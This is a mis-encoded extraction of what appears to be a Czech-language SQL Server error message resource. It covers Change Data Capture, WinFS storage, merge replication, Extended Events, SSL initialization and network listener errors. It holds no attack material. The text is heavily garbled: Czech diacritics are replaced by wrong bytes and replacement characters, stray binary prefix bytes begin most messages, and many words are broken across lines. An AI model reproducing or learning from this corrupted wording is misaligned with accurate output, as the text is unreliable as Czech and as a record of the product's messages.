n� index %1!s! v tabulce %2!s! je pou~�v�n funkc� Change Data Capture. Omezen� pou~�vaj�c� dan� index nelze vyYadit ani zak�zat.

 Jedine
n� index %1!s! v tabulce %2!s!.%3!s! je zak�zan� a funkce Change Data Capture jej nemo~e jako jedine
n� index pou~�t. Povolte index.

pObjekt neexistuje, nebo k nmu byl odepYen pY�stup.

Nelze vytvoYit intern� ulo~en� procedury pou~�van� pro vyplnn� tabulky zmn pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Jedine
n� index %1!s! ve zdrojov� tabulce %2!s! je pou~�v�n funkc� Change Data Capture. Chcete-li index zmnit nebo vyYadit, je tYeba nejprve v tabulce zak�zat funkci Change Data Capture.

TPYi 
ek�n� na ud�lost mezipamti historie 
te
ky protokolo doalo k chyb. Tato chyba je ohl�aena intern� slu~bou pl�nov�n� �loh a mo~e b�t trval�. Opakujte operaci.

\Funkce Change Data Capture nebyla povolena pro zdrojovou tabulku %1!s!.%2!s!. Zadejte n�zev tabulky povolen� pro funkci Change Data Capture. Chcete-li z�skat sestavu s tabulkami povolen�mi pro funkci Change Data Capture, zadejte dotaz na sloupec is_tracked_by_cdc v zobrazen� katalogu sys.tables.

XNelze pYidlit pame pro plnn� dat pomoc� funkce Change Data Capture. OvYte, zda je v syst�mu SQL Server dostatek pamti pro vaechny operace. Zkontrolujte nastaven� fyzick� i virtu�ln� pamti serveru a zkontrolujte vyu~it� pamti pro pY�pad, ~e by jin� aplikace vyu~�vala pY�lia mnoho pamti.

�Z�pis dat blob pro jeden nebo v�ce sloupco objekto pomoc� plnn� dat prostYednictv�m funkce Change Data Capture se nezdaYil. OvYte, zda je v syst�mu SQL Server dostatek pamti pro vaechny operace. Zkontrolujte nastaven� fyzick� i virtu�ln� pamti serveru a zkontrolujte vyu~it� pamti pro pY�pad, ~e by jin� aplikace vyu~�vala pY�lia mnoho pamti.

HTato instance SQL Serveru je v edici %1!s!. Funkce Change Data Capture je k dispozici pouze v edic�ch Enterprise, Developer, Enterprise Evaluation a Standard.

@Nelze povolit funkci Change Data Capture pro datab�zi %1!s!. Funkce Change Data Capture nen� podporov�na v syst�mov�ch datab�z�ch a v distribu
n� datab�zi.

�Hodnota zadan� pro parametr @pollinginterval nesm� pYekro
it 24 hodin nebo b�t mena� ne~ 0. Zadejte interval cyklick�ho dotazov�n� (v sekund�ch), kter� bude mena� nebo roven 24 hodin�m (86 400 sekund).

�Hodnota zadan� pro parametr @maxtrans mus� b�t vta� ne~ 0.

�Zadan� parametr @job_type %1!s! nen� podporov�n. Hodnota zadan�ho parametru @job_type mus� b�t N'capture', pokud m� ozna
ovat �lohu zachycen�, nebo N'cleanup', pokud m� ozna
ovat �lohu 
iatn�.

TTabulka �lohy funkce Change Data Capture obsahuj�c� informace o �loh�ch pro datab�zi %1!s! nelze naj�t v syst�mov� datab�zi msdb. VytvoYte pY�sluanou �lohu zachycen� nebo vy
iatn� funkce CDC spuatn�m ulo~en� procedury sys.sp_cdc_add_job. Ulo~en� procedura vytvoY� po~adovanou tabulku �lohy.

�Hodnota doby uchov�n� zadan� pro proces 
iatn� funkce Change Data Capture mus� b�t vta� ne~ 0 a mena� nebo rovna 52594800. PYi vytv�Yen� nebo �prav �lohy 
iatn� je tYeba zadat hodnotu doby uchov�n� (v minut�ch) v uveden�m rozsahu. Pokud k t�to chyb dojde pYi spouatn� ulo~en� procedury sys.sp_cdc_cleanup_change_table, obnovte hodnotu doby uchov�n� pYidru~enou k �loze na nez�pornou hodnotu ni~a� ne~ 52594800 pomoc� ulo~en� procedury sp_cdc_change_job.

LHodnotu pro parametr @retention nelze zadat, pokud je typ �lohy nastaven na hodnotu capture. Zadejte pro parametr hodnotu NULL nebo parametr z v�razu vynechejte.

0PYi pYid�v�n� nebo �prav �lohy 
iatn� funkce CDC lze parametrom @pollinginterval, @maxtrans, @maxscans a @continuous pYiYadit pouze hodnotu null.

h�loha funkce Change Data Capture %1!s! v syst�mov� tabulce msdb.dbo.cdc_jobs neexistuje. Pomoc� ulo~en� procedury sys.sp_cdc_add_job pYidejte �lohu funkce Change Data Capture.

�Hodnota zadan� pro parametr @continuous mus� b�t 0 nebo 1.

$Hodnota zadan� pro parametr @pollinginterval mus� b�t null nebo 0, pokud ulo~en� procedura sys.sp_cdc_scan nen� spuatna v prob~n�m re~imu.

$Doalo k poakozen� opr�vnn� k pY�stupu ke sd�len� slo~ce WinFS {Chyba: %1!s!}. Zkuste znovu nastavit opr�vnn� k pY�stupu ke sd�len� slo~ce.

@Neplatn� vstupn� parametry.

4PY�stup byl odepYen.

PPolo~ka neexistuje {ItemId: %1!s!}.

TSlo~ka ji~ existuje {ItemId: %1!s!}.

PSlo~ka neexistuje {ItemId: %1!s!}.

|Operace naruauje jedine
nost hierarchick�ho oboru n�zvo.

XKontejner nen� pr�zdn� {ItemId: %1!s!}.

\Polo~ku nelze zkop�rovat na ni samotnou.

`Cesta k oboru neexistuje nebo je neplatn�.

4Kontejner neexistuje.

PNejsou ~�dn� dala� polo~ky k v�
tu.

�Polo~ka v dan�m oboru neexistuje {ItemId: %1!s!, rozsah: %2!s!}

LTransakce nen� v aktivn�m stavu.

�Polo~ka bu neexistuje, nebo se nejedn� o polo~ku z�lohovanou souborem.

,Naruaen� sd�len�.

�Pokud je vol�n� tokenu bindtoken transakce prov�dno v kontextu transakce, mus� b�t hodnota tokenu null.

�Data StreamSize nebo data AllocationSize nejsou konzistentn� {ItemId: %1!s!}.

xPolo~ka z�lohovan� souborem neexistuje {ItemId: %1!s!}.

lIdentifik�tor ItemId slo~ky %1!s! nebyl nalezen.

`Sd�len� slo~ka %1!s! v katalogu neexistuje.

lSd�lenou slo~ku %1!s! nelze z katalogu odstranit.

dPolo~ka �lo~iat nebyla v katalogu nalezena.

dPolo~ku �lo~iat nelze z katalogu odstranit.

lN�zev datab�ze �lo~iat nebyl v katalogu nalezen.

�Nelze vytvoYit sd�lenou slo~ku pro polo~ku ItemPath %1!s!.

�Nelze pYidat sd�lenou polo~ku pro polo~ku %1!s! v katalogu.

dPolo~ka ItemPath %1!s! v �lo~iati neexistuje.

dStav �lo~iat nelze v katalogu aktualizovat.

�Polo~ka Itempath %1!s! je polo~ka z�lohovan� souborem nebo se nach�z� v jej�m podstrom.

�Nelze spustit n�stroj Spr�vce �lo~iat. Podrobnosti naleznete v protokolu WinFS UT Log.

`Polo~ka Itempath %1!s! je slo~en� polo~ka.

DKontejner polo~ek neexistuje.

HVlastnick� polo~ka neexistuje.

�Parametr NamespaceName je pr�zdn� nebo pYekra
uje maxim�ln� d�lku.

XNeplatn� typ zdrojov�ho koncov�ho bodu

TNeplatn� typ c�lov�ho koncov�ho bodu

�Polo~ka z�lohovan� souborem mus� b�t typu slo~en� polo~ka.

�Polo~ka z�lohovan� souborem nesm� obsahovat dala� polo~ky.

DZdrojov� polo~ka neexistuje.

lPolo~ka s dan�m n�zvem ji~ v kontejneru existuje.

lNov� kontejner nesm� b�t subkontejnerem polo~ky.

0Polo~ka neexistuje.

�Polo~ku nelze odstranit, pokud u n� existuj� podY�zen� polo~ky

@C�lov� polo~ka neexistuje.

@Neplatn� n�zev oboru n�zvo.

�Operaci nelze volat v r�mci transakce, kterou nelze zapsat

hPopisova
 souboru Win32 je pro polo~ku otevYen�

�PYi nahrazov�n� polo~ky nelze zmnit identifik�tor ContainerId.

�Tato procedura je rezervovan� a nelze prov�st jej� vol�n�.

dDatov� proud souboru nesm� m�t hodnotu null.

`Identifik�tory kontejnero mus� b�t shodn�.

�}�dost nelze prov�st v dosledku vstupn-v�stupn� chyby zaY�zen�.

`Doalo k syst�mov� chyb {ErrorCode: %1!s!}.

�V syst�mu nen� k dispozici dostatek pamti pro zpracov�n� ~�dosti.

LDoalo k nespecifikovan�m chyb�m.

�Zadan� vydavatel nen� u tohoto distributoru povolen jako vzd�len� vydavatel. Ujistte se, zda je pro parametr @publisher zad�na spr�vn� hodnota a zda je vydavatel u distributoru povolen jako vzd�len� vydavatel.

DAktualizace tabulky MSmerge_subscriptions distribu
n� datab�ze se nezdaYila. Chcete-li upgradovat distribu
n� datab�zi, spusete proceduru aktualizace znovu.

�VyYazen� v�choz�ho omezen� na sloupci rowguid pou~it�m slu
ovac� replikac�, nen� platn� operace.

�Do 
l�nku %1!s! nelze pYidat nov� sloupec, proto~e m� v�ce ne~ %2!s! replikovan�ch sloupco.

�Odbr nelze synchronizovat, proto~e sch�mata 
l�nko Vydavatele a Odbratele se neshoduj�. Zmny sch�matu 
ekaj�c� na vyY�zen� zat�m pravdpodobn nebyly roza�Yeny do Odbratele. Spuatn�m agenta slou
en� mo~ete zmny roza�Yit a data synchronizovat.

�Zobrazen� slu
ovac� replikace nelze po proveden� operace DDL (Data Description Language) znovu generovat.

$Hodnota %1!s! zadan� pro vlastnost identityrangemanagementoption pYi prov�dn� procedury sp_changemergearticle pro 
l�nek %2!s! je neplatn�.

lOmezen� je pou~�v�no slu
ovac� replikac� pro spr�vu identity a nelze jej pY�mo vyYadit. Chcete-li zak�zat spr�vu identity slou
en�, spusete proceduru sp_changemergearticle s parametry @publication a @article nastaven�mi na hodnoty identityrangemanagementoption, resp. None. Tato akce tak� vyYad� omezen�.

�Sloupec identity nelze pYidat, proto~e tabulka je publikov�na pro slu
ovac� replikaci.

�PY�kaz ALTER TABLE nelze prov�st, proto~e tabulka je publikov�na v nejm�n jedn� publikaci s vlastnost� publication_compatibility_level nastavenou na hodnotu ni~a� ne~ 90RTM. Pou~ijte proceduru sp_repladdcolumn nebo sp_repldropcolumn.

�Procedura sp_repladdcolumn nepovoluje pYid�n� sloupco datov�ch typo, kter� jsou v t�to verzi nov�.

(Proveden� pY�kazu %1!s! prostYednictv�m procedury xp_cmdshell se nezdaYilo. Dala� informace o chyb naleznete ve vr�cen� sad v�sledko dotazu.

PPYedpo
�tan� odd�ly nelze pou~�t, proto~e 
l�nky %1!s! a %2!s! jsou sou
�st� spojovac�ho filtru a nejm�n jeden z nich obsahuje omezen� s definovanou akc� CASCADE.

$Relaci logick�ho z�znamu mezi 
l�nky %1!s! a %2!s! nelze pYidat, proto~e nejm�n jeden z 
l�nko obsahuje omezen� s definovanou akc� CASCADE.

�V tabulce %1!s! nelze vytvoYit 
l�nek, proto~e m� v�ce ne~ %2!s! sloupco a je pou~ito sledov�n� na �rovni sloupce. Omezte po
et sloupco v tabulce nebo zmHte sledov�n� na sledov�n� na �rovni Y�dku.

(Ulo~en� proceduYe replikace sp_MSupdategenhistory se nepodaYilo aktualizovat generov�n� %1!s!. Generov�n� bude opakov�no pYi pY�at�m slou
en�.

�Mo~nost �lo~iat sn�mku (@snapshot_storage_option) mus� m�t hodnotu file system nebo database.

�Ulo~en� procedury obsahuj�c� parametry s hodnotou tabulky nelze publikovat jako 
l�nky typu [serializable] proc exec.

Mo~nost �lo~iat sn�mku s hodnotou database je nekompatibiln� s pou~it�m hromadn�ho kop�rov�n� znakov�ho re~imu pro generov�n� sn�mko.

TNelze pYidat zhuatn� sloupec nebo sadu zhuatn�ch sloupco, proto~e tabulka je publikov�na pro slu
ovac� replikaci. Slu
ovac� replikace nepodporuje zhuatn� sloupce.

LProcedura sp_registercustomresolver nemo~e pokra
ovat, proto~e nen� spuatna v kontextu distribu
n� datab�ze nebo distribu
n� datab�ze nen� spr�vn upgradov�na.

�Nejde naj�t pYihlaaovac� �daje pro pYihlaaovac� jm�no Windows %1!s!. Synchronizace �lohy agenta replikace potYebuje pYedem vytvoYen� pYihlaaovac� �daje ve vaech replik�ch skupiny dostupnosti pro ka~d� po~adovan� pYihlaaovac� jm�no Windows.

xNejde zadat database_name, kdy~ je all nastaveno na 1.

�Distribu
n� datab�ze replikace %1!s! nen� v prim�rn� replice sv� skupiny dostupnosti.

�Distribu
n� datab�ze replikace %1!s! nen� ve skupin dostupnosti.

LDistribu
n� datab�ze je sou
�st� skupiny dostupnosti bez poslucha
e. PYed pYid�n�m publikace, odbru nebo distribuce pYidejte do skupiny dostupnosti poslucha
e.

�Distribu
n� datab�ze ve skupin dostupnosti je podporov�na pouze pro publisher_type jako MSSQLSERVER.

�Kdy~ je distribu
n� datab�ze sou
�st� skupiny dostupnosti, nemohou b�t server vydavatele a server distributora toto~n�.

Distribu
n� datab�ze mus� b�t na sekund�rn� replice v 
iteln�m stavu, kdy~ je distribu
n� datab�ze sou
�st� skupiny dostupnosti.

,Parametr @subscriber mus� b�t bu @@SERVERNAME, nebo n�zev naslouchac�ho procesu skupiny dostupnosti, jej�~ sou
�st� dan� datab�ze odbratele je.

U~ivatel mus� m�t opr�vnn� VIEW SERVER STATE, aby mohl pYiYadit @subscriber jako n�zev naslouchac�ho procesu pro skupinu dostupnosti.

�PYiYazen� n�zvu naslouchac�ho procesu pro parametr @subscriber nen� podporovan� sc�n�Y pro spravovanou instanci.

hPYiYazuje se v�choz� hodnota pro %1!s!: %2!s!.

lStroj roza�Yen�ch ud�lost� nem� dostatek pamti.

Bhem inicializace objektu %1!s! s n�zvem %2!s! byla zjiatna chyba konfigurace. Objekt nelze pYidat do relace ud�losti. %3!s!

�Objekt %1!s! s n�zvem %2!s! se nepodaYilo pYidat. Bylo dosa~eno maxim�ln�ho po
tu c�lo s jedn�m prvkem.

XStroj roza�Yen�ch ud�lost� je zak�z�n.

�Bal�
ek %1!s! s n�zvem %2!s! se nepodaYilo pYidat. Bylo dosa~eno maxim�ln�ho po
tu bal�
ko.

�Stroj roza�Yen�ch ud�lost� nelze inicializovat. Zkontrolujte protokol chyb syst�mu SQL Server a protokol chyb opera
n�ho syst�mu. V nich z�sk�te informace o mo~n�ch souvisej�c�ch probl�mech.

Stroj roza�Yen�ch ud�lost� byl zak�z�n mo~nostmi spuatn�.  Funkce, kter� z�vis� na roza�Yen�ch ud�lostech, se nemus� podaYit spustit.

�Stroji roza�Yen�ch ud�lost� se nepodaYilo pYidlit z�znam pro m�stn� vl�kno 
i vlak�nko.

�N�zev objektu %1!s!, %2!s!, je neplatn� nebo objekt nelze nal�zt.

$Omezen� n�zvu objektu %1!s!, %2!s!, bylo naruaeno. Objekt nepodporuje vazbu na akce 
i predik�ty. Ud�lost nebyla pYid�na do relace ud�losti.

�Objekt %1!s! s n�zvem %2!s! ji~ v relaci ud�losti existuje. Objekt nelze pYidat do relace ud�losti.

`Mo~nost %1!s!, %2!s! byla zad�na v�cekr�t.

�Pro objekt %1!s! s n�zvem %2!s! neexistuje pYizposobiteln� atribut %3!s!.

�V�raz predik�tu v�zan� k objektu %1!s! s n�zvem %2!s! nem� odpov�daj�c� typ.

�Objekt %1!s! s n�zvem %2!s! ji~ existuje. Zvolte pro relaci ud�losti jedine
n� n�zev.

�Zadan� velikost vyrovn�vac� pamti je mena� ne~ minim�ln� velikost. Minim�ln� povolen� velikost je %1!s! bajto.

�Zadan� velikost vyrovn�vac� pamti pYekra
uje maxim�ln� velikost.

|Zadan� latence odesl�n� je mena� ne~ minim�ln� velikost.

`Doalo k pokusu o pYid�n� asynchronn�ho c�le do relace s maxim�ln� pamt� 0. Asynchronn� c�le lze pYid�vat pouze do relac�, kter� maj� hodnotu maxim�ln� pamti vta� ne~ 0.

lTypy predik�tu zdroje a kompar�toru se neshoduj�.

�Objekt %1!s! s n�zvem %2!s! pYekra
uje po
et povolen�ch v�zan�ch akc�.

DMaxim�ln� velikost ud�losti je mena� ne~ nakonfigurovan� pame relace ud�losti. Zadejte pro maxim�ln� velikost ud�losti vta� hodnotu nebo zadejte hodnotu 0.

�Objektu %1!s! s n�zvem %2!s! byl pYed�n neplatn� parametr %3!s!. %4!s!

�Povinn� pYizposobiteln� atributy objektu %1!s! s n�zvem %2!s! nelze nal�zt.

�Objekt %1!s! s n�zvem %2!s! nelze pYidat do relace ud�losti, kter� neur
uje ~�dnou ztr�tu ud�losti.

�Objekt %1!s! s n�zvem %2!s! nelze v�zat na relaci ud�losti.

\N�zev objektu %1!s!, %2!s!, je neplatn�.

�Objekt %1!s! s n�zvem %2!s! nelze nal�zt. Zkontrolujte, zda objekt existuje a n�zev je naps�n spr�vn.

�Bal�
ek %1!s! s n�zvem %2!s! nelze nal�zt. Zkontrolujte, zda bal�
ek existuje a n�zev je naps�n spr�vn.

�Pro objekt %1!s! s n�zvem %2!s! nemohou sou
asn existovat dv akce 
i predik�ty. Jednu polo~ku odeberte.

�Objekt %1!s! s n�zvem %2!s! obsahuje pYizposobiteln� atribut %3!s!, kter� byl zad�n v�cekr�t.

�Objekt %1!s! s n�zvem %2!s! obsahuje pYizposobiteln� atribut %3!s!, jeho~ hodnota nen� o
ek�van�ho typu %4!s!.

�Objekt %1!s! s n�zvem %2!s! v relaci ud�losti neexistuje. Objekt nelze z relace ud�losti vyYadit.

�Chybovou zpr�vu nelze kop�rovat, ve vyrovn�vac� pamti nen� dostatek m�sta.

xIntern� chyba roza�Yen� ud�losti: neplatn� k�d zpr�vy.

XPYi ovYov�n� akce doalo k chyb. %1!s!

dPYi ovYov�n� predik�tu doalo k chyb. %1!s!

`N�zev objektu %1!s!, %2!s!, nen� jedine
n�.

Bhem inicializace objektu %1!s! s n�zvem %2!s! byla zjiatna chyba konfigurace. PYizposobiteln� atribut %3!s! se pou~�v� jen intern.

xIntern� chyba roza�Yen� ud�losti: neplatn� ID bal�
ku.

�PYi prov�dn� operace doalo k neo
ek�van� chyb stroje roza�Yen�ch ud�lost�.

�%1!s! je neplatn� n�zev relace ud�losti. Do
asn� relace ud�losti nejsou povoleny.

�Mo~nost relace ud�losti %1!s! je nastavena v�cekr�t. Odeberte duplicitn� mo~nosti relace a pY�kaz opakujte.

�Mo~nost relace ud�losti %1!s! je nastavena na neplatnou hodnotu. Opravte hodnotu a pY�kaz opakujte.

PRelace ud�losti ji~ byla zastavena.

PRelace ud�losti ji~ byla spuatna.

`Bal�
ek %1!s! s n�zvem %2!s! nelze nal�zt.

�Mo~nost relace ud�losti %1!s! nelze zmnit za bhu relace. Relaci ud�losti zastavte a pot� provete zmnu jej� mo~nosti.

�Zadan� hodnota %1!s! pYekra
uje maxim�ln� povolenou hodnotu. Zadejte mena� konfigura
n� hodnotu.

`Nejm�n jednu relaci ud�losti se nepodaYilo spustit. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

PRelaci ud�lost %1!s! se nepodaYilo spustit. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

`Predik�t ud�losti se nepodaYilo analyzovat.

�Zadan� rela
n� oper�tor je pro predik�t ud�losti neplatn�.

�Hodnota zadan� pro objekty %1!s! s n�zvem %2!s!, %3!s! s n�zvem %4!s! je neplatn�.

�Predik�t ud�losti %1!s! je neplatn�. Oper�tor %2!s! nen� definov�n pro typ %3!s!, %4!s!: %5!s!.

�Predik�t ud�losti %1!s! pYesahuje maxim�ln� d�lku %2!s! znako.

�Opera
n� syst�m vr�til chybu %1!s! pYi 
ten� ze souboru %2!s!.

N�zev souboru protokolu %1!s! je neplatn�. Zkontrolujte, zda soubor existuje a zda k nmu m� �
et slu~by syst�mu SQL Server pY�stup.

�Po
�te
n� n�zev souboru a po
�te
n� posun je tYeba zadat ve dvojici. Opravte parametry a dotaz opakujte.

N�zev souboru metadat %1!s! je neplatn�. Zkontrolujte, zda soubor existuje a zda k nmu m� �
et slu~by syst�mu SQL Server pY�stup.

�Posun %1!s! je pro soubor protokolu %2!s! neplatn�. Zadejte posun existuj�c� v souboru protokolu a opakujte dotaz.

�PYi z�sk�v�n� informac� metadat ze souboru %1!s! doalo k chyb. Soubor je pravdpodobn poakozen�.

\Predik�t nelze zobrazit, je pY�lia velk�.

PYi pokusu o vypr�zdnn� vaech spuatn�ch relac� roza�Yen�ch ud�lost� doalo k chyb. Nkter� ud�losti byly pravdpodobn ztraceny.

�Datov� proud ud�losti byl odpojen z dovodu pY�lia velk�ho po
tu nevyY�zen�ch ud�lost�. Chcete-li se vyhnout t�to chyb, odeberte ze sv� relace ud�losti 
i akce nebo pYidejte do sv� relace v�ce omezuj�c� filtr predik�to.

�Relace roza�Yen�ch ud�lost� s n�zvem %1!s! byla bu zastavena, nebo vyYazena a ji~ k n� nelze pYistupovat.

�Relace roza�Yen�ch ud�lost� s n�zvem %1!s! nebyla nalezena. Zkontrolujte, zda relace existuje a je spuatna.

|Datov� proud ud�losti byl odpojen z dovodu vnitYn� chyby.

�Proveden� po~adavku na zmnu stavu relace ud�losti na vzd�len� cihle se nezdaYilo. N�zev relace ud�losti: %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch.

xNejm�n u jedn� relace ud�losti se nepodaYilo slou
it bhov� stav. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch aktu�ln� relace.

dRelaci ud�losti %1!s! se nezdaYilo slou
it bhov� stav. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch aktu�ln� relace.

�Vzor souboru %1!s! pYedstavuje �plnou cestu. Pou~�vejte pouze relativn� cesty bez p�smen jednotek.

LMo~nost zdroje %1!s! je neplatn�.

Byla zjiatna poakozen� vyrovn�vac� pame v souboru %1!s! u odsazen� %2!s!. Ze souboru ji~ nebudou na
teny ~�dn� dala� ud�losti.

Relace ud�lost� roza�Yen� na obor definovan� datab�z� nejsou k dispozici v oboru serveru ani v syst�mov�ch datab�z�ch v Azure DB.

�Relaci ud�losti %1!s! nealo spustit, proto~e syst�m je moment�ln zanepr�zdnn�. Zkuste to pros�m znovu pozdji.

�Nepovedlo se zah�jit relaci ud�losti %1!s!, proto~e chyb� po~adovan� opr�vnn� pro z�pis v�stupu do objektu blob Azure.

�Relaci ud�losti %1!s! nejde zah�jit, proto~e syst�m je zanepr�zdnn�. Zkuste to pros�m znovu pozdji.

�Adresa URL zadan� pro: %1!s! %2!s!, %3!s! %4!s! je neplatn�. Adresa URL mus� za
�nat na https://.

xC�l %1!s! nen� pro slu~bu Azure SQL Database dostupn�.

pUd�lost %1!s! nen� pro Azure SQL Database dostupn�.

lAkce %1!s! nen� pro Azure SQL Database dostupn�.

pNejde na
�st telemetrick� data Azure SQL Database.

tOperace selhala. Operace zposob� pYekro
en� povolen�ho limitu pamti datab�ze %1!s!. Pame relac� ud�lost� se mo~e uvolnit jedin zastaven�m aktivn�ch relac� nebo zmnou mo~nost� pamti relace. Zkontrolujte, jestli v sys.dm_xe_database_sessions nejsou aktivn� relace, kter� by se mohly zastavit nebo pozmnit.

�Operace selhala. Operace zposob� pYekro
en� povolen�ho limitu pamti datab�ze %1!s!. Pame relac� ud�lost� se mo~e uvolnit jedin zastaven�m aktivn�ch relac� nebo zmnou mo~nost� pamti relace. Zkontrolujte, jestli v sys.dm_xe_database_sessions nejsou aktivn� relace, kter� by se mohly zastavit nebo pozmnit. Pokud v t�hle datab�zi nejsou aktivn� ~�dn� relace, zkontrolujte relace spuatn� v jin�ch datab�z�ch v r�mci stejn�ho logick�ho serveru.

�Soubor %1!s! obsahuje protokoly auditu. K protokolom auditu je mo~n� pYistupovat jenom pomoc� funkce fn_get_audit_file.

�Serveru se nepodaYilo inicializovat aifrov�n�, proto~e doalo k pot�~�m s knihovnou zabezpe
en�. Knihovnu zabezpe
en� nelze nal�zt. Zkontrolujte, zda v syst�mu existuje soubor security.dll.

PServer se pokusil inicializovat aifrov�n� protokolem SSL, kdy~ ji~ bylo inicializov�no. To indikuje probl�m v syst�mu SQL Server. Obraete se na technickou podporu.

`U~ivatelsk� certifik�t [Cert Hash(sha1) %1!s!] nelze na
�st. PYipojen� nebude serverem pYijato. Zkontrolujte, zda je certifik�t spr�vn nainstalov�n. Dala� informace naleznete na webu Knihy online v t�matu Configuring Certificate for Use by SSL (Konfigurace certifik�tu pro pou~it� protokolem SSL).

�U~ivatelsk� certifik�t nelze na
�st. Server nebude moci pYijmout jak�koli pYipojen�, proto~e je po~adov�no aifrov�n� pYipojen�. Zkontrolujte, zda je certifik�t spr�vn nainstalov�n. Dala� informace naleznete na webu Knihy online v t�matu Configuring Certificate for Use by SSL (Konfigurace certifik�tu pro pou~it� protokolem SSL).

�Protokolu TCP serveru se nepodaYilo naslouchat na portu [ %1!s! <%2!s!> %3!s!]. Port TCP je ji~ pou~�v�n.

Serveru se nepodaYilo naslouchat na portu %1!s! <%2!s!> %3!s!. Chyba: %4!s!. Chcete-li pokra
ovat, upozornte spr�vce syst�mu.

POvYov�n� HTTP se nezdaYilo. %1!s!

�ZprostYedkovateli pojmenovan�ch kan�lo serveru se nepodaYilo naslouchat na portu [ %1!s!]. Chyba: %2!s!

hKnihovn rozhran� s�t syst�mu SQL Server se nepodaYilo zavY�t popisova
 soketu z dovodu chyby pY�kazu closesocket vlivem pYet�~en� pamti. K�d chyby rozhran� Winsock: %1!s!.

Knihovn rozhran� s�t syst�mu SQL Server se nepodaYilo na
�st souvisej�c� knihovnu hlavn�ch n�zvo slu~by (SPN). Chyba: %1!s!.

|ZprostYedkovatel protokolu TCP serveru zastavil naslouch�n� na portu [ %1!s! ] kvoli chyb AcceptEx. Chyba soketu: %2!s!, stav: %3!s!. Server se automaticky pokus� naslouch�n� obnovit.

<ZprostYedkovatel protokolu HTTP serveru zastavil z dovodu chyby naslouch�n�. Chyba: %1!s!, stav: %2!s!. Server se automaticky pokus� naslouch�n� obnovit.

pZprostYedkovatel pojmenovan�ch kan�lo serveru zastavil z dovodu chyby naslouch�n� na portu [ %1!s! ]. Chyba: %2!s!, stav: %3!s!. Server se automaticky pokus� naslouch�n� obnovit.

�ZprostYedkovateli m�stn�ho pYipojen� serveru se nepodaYilo naslouchat na portu [ %1!s! ]. Chyba: %2!s!

lZprostYedkovatel m�stn�ho pYipojen� serveru zastavil z dovodu chyby naslouch�n� na portu [ %1!s! ]. Chyba: %2!s!, stav: %3!s!. Server se automaticky pokus� naslouch�n� obnovit.

�Rozhran� s�t syst�mu SQL Server se nepodaYilo inicializovat poslucha
e na uzlu %1!s! v konfiguraci v�ce uzlo serveru (NUMA) s maskou spYa~en� uzlu 0x%2!s!. PY�
inou mo~e b�t nedostatek pamti. Uvolnte pame a pot� uzel vypnte a zapnte. Pokud pot�~e potrvaj�, postup nkolikr�t opakujte nebo restartujte syst�m SQL Server.

�NepodaYilo se naj�t ~�dnou IP adresu, na kter� tato instance syst�mu SQL Server z�vis�. Zkontrolujte, zda je Clusterov� slu~ba spuatn�, zda je relace z�vislosti mezi syst�mem SQL Server a prostYedky s�eov�ho n�zvu spr�vn� a zda jsou k dispozici IP adresy, na kter�ch tato instance syst�mu SQL Server z�vis�. K�d chyby: %1!s!.

`PYi inicializaci podpory protokolu SSL se nepodaYilo ur
it pln kvalifikovan� n�zev dom�ny po
�ta
e. To mo~e znamenat probl�m s konfigurac� s�t v po
�ta
i. Chyba: %1!s!.

0ZprostYedkovatel protokolu TCP je povolen, ale nejsou nakonfigurov�ny ~�dn� porty naslouch�n� TCP. Server nemo~e pYij�mat pYipojen� protokolu TCP.

PYi inicializaci portu naslouch�n� TCP byl zjiatn neplatn� parametr. Chyba: %1!s!, stav: %2!s!. Obraete se na technickou podporu.

Roza�Yen� ochrana pro datab�zov� stroj syst�mu SQL Server je povolena, ale opera
n� syst�m roza�Yenou ochranu nepodporuje. Pokusy o pYipojen� s pou~it�m ovYov�n� syst�mu Windows se pravdpodobn nezdaY�. Zkontrolujte, zda aktualizace Service Pack opera
n�ho syst�mu povoluje roza�Yenou ochranu prostYednictv�m vazby slu~by a vazby kan�lo, nebo pro datab�zov� stroj zaka~te roza�Yenou ochranu.

lPYi konfiguraci virtu�ln�ch IP adres clusteru pro roza�Yenou ochranu doalo k chyb. Pokusy o pYipojen� s pou~it�m integrovan�ho ovYov�n� se pravdpodobn nezdaY�. Chyba: %1!s!.

\Na
ten� knihoven prostYedku clusteru se nezdaYilo: clusapi.dll a resutils.dll. Syst�m SQL Server nebude moci pYij�mat pYipojen� TCP pro clusterovan� procesy naslouch�n�.

PNepovedlo se vy
istit ud�lost spojenou s pYipojen�m TCP, je to s nejvta� pravdpodobnost� proto, ~e server byl pYet�~en�. N�vratov� k�d opera
n�ho syst�mu: %1!s!

�Spuatn� naslouchac�ho procesu pro n�zev virtu�ln� s�t %1!s! se nezdaYilo. Chyba: %2!s!.

\Vyprael 
asov� limit asynchronn�ho 
ten�.

TKlient se bhem pYihlaaov�n� odpojil.

|ZprostYedkovatel protokolu TCP serveru zastavil z dovodu chyby CreateSocket naslouch�n� na portu [ %1!s! ]. Chyba: %2!s!, stav: %3!s!. Server se automaticky pokus� naslouch�n� obnovit.

XVyhrazen� chybov� zpr�va. NepYidlovat

$Modul SQLCLR poskytl �dr~b tabulky vyhled�v�n� s fuzzy logikou objekt SqlCommand, kter� je neplatn� nebo m� hodnotu NULL. Obnovte pYipojen�.

`Bhem tokenizace byl zjiatn chybn� token.

tBhem tokenizace byl zjiatn neo
ek�van� typ tokenu.

TIndex odoln� vo
i chyb�m je poakozen.

$Bhem operace odstrann� byl ze seznamu identifik�toro RID odstrann v�ce ne~ jeden identifik�tor RID. Index odoln� vo
i chyb�m je poakozen.

�Doalo k pokusu o odstrann� z pr�zdn�ho seznamu identifik�toro RID. Index odoln� vo
i chyb�m je poakozen.

�Identifik�tor RID ur
en� k odstrann� nelze v seznamu identifik�toro RID naj�t. Index odoln� vo
i chyb�m je poakozen.

�Frekvence indexu odoln�ho vo
i chyb�m musej� b�t nez�porn�. Index odoln� vo
i chyb�m je poakozen.

